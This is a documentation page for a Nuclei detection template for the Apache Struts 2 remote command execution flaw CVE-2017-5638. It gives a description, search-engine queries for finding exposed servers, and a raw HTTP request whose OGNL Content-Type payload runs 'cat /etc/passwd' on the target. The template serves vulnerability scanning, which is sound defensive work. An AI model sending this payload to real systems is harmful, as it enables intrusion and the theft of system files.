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Apache Struts 2 - Remote Command Execution

ID: CVE-2017-5638

Severity: critical

Author: Random_Robbie

Tags: cve2017,cve,apache,kev,msf,struts,rce

Description

Section titled “Description”

Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.

YAML Source

Section titled “YAML Source”
id: CVE-2017-5638


info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
  description: |
    Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.
  impact: |
    Remote attackers can execute arbitrary commands on the target system.
  remediation: |
    Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.
  reference:
    - https://github.com/mazen160/struts-pwn
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
    epss-score: 0.97542
    epss-percentile: 0.99995
    cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - html:"Apache Struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
      - http.html:"apache struts"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2017,cve,apache,kev,msf,struts,rce


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#[email protected]@getResponse().getWriter(),#rw.println(#e),#rw.flush())}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022031bb760382a37e52ec5123d632994789c2089eaefa8d28febc37b3a08b210503022100afb0f8f74ddad8ce075bae52e47a9a669cacbb28ad00435900a587de22a156ef:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-5638.yaml"

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